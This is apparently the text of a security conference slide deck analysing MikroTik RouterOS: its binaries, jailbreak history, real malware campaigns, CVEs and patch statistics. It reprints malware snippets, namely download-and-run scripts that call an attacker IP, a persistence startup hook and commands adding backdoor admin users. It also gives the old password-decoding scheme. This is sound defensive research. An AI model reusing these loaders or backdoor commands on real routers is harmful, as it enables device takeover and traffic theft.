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RouterOS intro



Mikrotik RouterOS

● Linux
– old

● Startup scripts
● Nova binaries
● Config



Closed source 
and closed 
ecosystem



Nova binaries (1)

● /nova/bin/loader
– Spawns processes and manages communication 

between them

● /nova/bin/watchdog
– Restarts the device if a critical process stops working

● /nova/bin/sys2
– Manages device settings and parses received 

commands

● /nova/bin/sermgr (kind of like inetd)
– Super-server daemon that provides internet services



Nova binaries (2)

● /nova/bin/moduler
– Manages loading of firmware for external devices

● e.g. usb2serial adpters, 3G modems

● /nova/bin/modprobed
– Symlink to moduler, used for loading kernel modules

● /nova/bin/mproxy
– Winbox daemon

● /nova/bin/www
– Web interface daemon



Adoption dynamic



Adoption

South Korea = 35283 devices = 1.99%



RouterOS 6.44.3



Hacking 
RouterOS



Ecosystem. Possible entry points.



Jailbreaking history
● 1999 MikroTikTM v2.0 Router Software released
● 2005 2.9.8 option package & /nova/etc/devel-login 

introduced
● 2009 3.22 NPK signing added
● 2009 3.30 first jailbreak hints published (that I could find)

– http://bbs.routerclub.com/thread-67904-1-1.html

● 2017 `mikrotik-tools` published
● 2017 5.x - 6.40.x first fully automated jailbreak tool
● 2017 6.41rc61 devel-login removed; only /pckg/option/ 

remains
● 2018 defconf-option jailbreak released (still works)



Jailbreak

● Use exploit-backup for versions up to 
6.41

● Use exploit-defconf for versions starting 
with 6.41
– Supports all current versions up to at least 

6.44.3



Jailbreak



Malware 
campaigns



Malware

● RouterOS is powerful enough on its own
● Still custom binaries are installed

– wget
– socat
– shadowsocks
– traffic injection modules
– port scanners



Persistence



cloudrouter.online

● MIPS, stripped + UPX
● Partial AV detection
● Infra is down

Initial foothold point is /ram/_bin/



cloudrouter.online: crget

#!/ram/_bin/bash

if [ "$2" == "" ]; then

    echo "dst?"

    exit 0

fi

/nova/bin/info '/tool fetch host="cloudrouter.online" 
url=("http://104.24.112.169/images/".[/system resource 
get architecture-name]."/'$1'") dst-path=tmpdf1'

mv /flash/rw/pckg/tmpdf1 $2



cloudrouter.online: wrget

#!/flash/xbin/sh

test "$2" = "" && echo "usage ?"

...

echo "downloading #3"

wget http://104.24.112.169:2082/images/$(uname 
-m)/$1 -O $2 --header 'Host: cloudrouter.online'

test -e $2 && exit 0

...



cloudrouter.online: S98btestd

#!/bin/bash

(usleep 30000000; /flash/xbin/btestd ) &



cloudrouter.online: btestd

Copies stuff over to /bin/

Changes some binaries

Allows attacker to watch traffic, pivot

Launches 3.3.5mips_watch



3.3.5mips.ko

● MIPS, not stripped
● No AV detections
● Infra still up

3.3.5mips_watch

Loads 3.3.5mips.ko

Injects http://gogogle.net/js/plugins.js

Coinhive (defunct)



coinhive sidenote



asgard

● rsc + some dpk (protected RouterBOOT)
● No AV detections
● Infra is partially down

TZSP used to steal data



asgard: users

/user add name=ccc password=t3stb3d555 
address=0.0.0.0/0 group=full comment=system

/user add group=full name=system password=xxx

/user add group=full name=x password=xyz

/user add name=master password=system 
address=0.0.0.0/0 group=ftp comment=system

/user add name=fleet password=password 
address=172.16.0.0/12 group=ftp comment=system

/user add name=system group=full password=[:tostr 
$sPass] address=172.24.0.0/13,127.0.0.1



asgard: hosts
upgrade.mikrotik.com asgard.does-it.net 
allimpir.dyndns.org stark.does-it.net        
georgia.is-saved.org hydra.does-it.net 
noa3bb.jasmine.com checkip.dyndns.org 
avenger.does-it.net asgard.routerz.ru         
ntpserver.is-certified.com hawaii.is-saved.org 
download2.mikrotik.com thehulk.dyndns.org 
romruencctv1.dyndns.org *.sn.mynetname.net 
system.is-saved.org tazmen.is-certified.com 
members.dyndns.org www.routerboard.com 
www.mikrotik.com routeros.is-certified.com 
illinois.is-saved.org first.is-saved.org



VPNFilter

● Multi-stage crimekit
● Combines all this and more
● Allows to infect neighboring devices

● Cisco Talos group has done a three-part 
series. Check it out!



Vulnerabilities



283i4jfkai3389

‘MEMBER ME?

key = md5(username + "283i4jfkai3389")key = md5(username + "283i4jfkai3389")
passwordpasswordee = password xor key = password xor key



devel-login based jailbreaks
● Authenticated root-level access

[ -f /nova/etc/devel-login

  && username == devel

  && password == admin.password ]

                                  && /bin/ash

● /nova/bin/login
● Fixed in 6.41 (not backported)



devel-login



devel-login



CVE-2018-1156 licupgr

● Authenticated RCE
● Via stack buffer overflow in sprintf()
● /nova/bin/licupgr busy_cde()
● Fixed in 6.42.7 & 6.40.9



CVE-2018-1156 licupgr



CVE-2018-7445 samba

● Unauthenticated RCE
● Via heap buffer overflow with long 

NetBIOS names in NetBIOS session 
request messages

● /nova/bin/smb SmbRmDir()
● Fixed in 6.41.3 & 6.40.7



CVE-2018-7445 samba

/nova/bin/smb



CVE-2018-7445 samba

/nova/bin/smb



chimay_red

● Unauthenticated RCE
● Stack clashing by setting large Content-

Length
– stacksize on 6.31 and below is 0x800000
– stacksize on 6.32 and above is 0x020000

● /nova/bin/www Request::readPostData()
● Fixed in 6.38.5 & 6.37.5



chimay_red

/nova/bin/www



CVE-2018-14847 winbox

● Unauthenticated predefined function 
exection (file read)

● Via abusing DLL download functionality
● /nova/bin/mproxy
● Fixed in 6.42.1 & 6.40.8



 CVE-2019-3943 fileman

● Authenticated read/write to filesystem
● Via directory traversal

– accessible through winbox & webfig

● /nova/bin/fileman
● Fixed in 6.44 & 6.43.15



 CVE-2019-3924 intermediary

● Unauthenticated firewall bypass
● Via abusing proxied network probe 

requests
● /nova/bin/mproxy
● Fixed in 6.43.12 & 6.42.12



Recent 
changes to 
RouterOS 



They don`t want us here (6.41)

● nv::hasOptionPackage() === 
nv::hasPackage("option")

● has been around forever, but /nova/bin/login 
used devel-login

● Misguided attempt to fight users

 → mkdir /pckg/option



They really don`t want us here (6.42)

● New requirements for nv::hasPackage():
– is not symlink
– is stored on squashfs filesystem

● They haven’t tried that again since. 
Thanks!

 → mount -o bind /boot/ /pckg/option



Hardening (6.43)

● Password «fixed».
● Uses SHA256 & ECC now.



Update channel changes (6.44)

● bugfix  long-term→
● current  stable→
● rc  testing→

– contains beta and rc

● "/system backup cloud" for backup 
storing in cloud



Stats



Major version market share



Vulnerability prevalence



time machine  2018←



Vulnerability prevalence

ok
im+fm+ipv6
im+fm+ipv6
im+fm+ipv6

im+fm+ipv6+licupgr
what???

ALL except chimay
ALL except chimay

im+fm+ipv6



Do you even patch, bro?



time machine  2018←



Do you even patch, bro?



time machine  2018←



Thank you!

@KirilsSolovjovs

Tools & jailbreak – http://eja.lv/3e8

Slides available on kirils.org

@KirilsSolovjovs@KirilsSolovjovs
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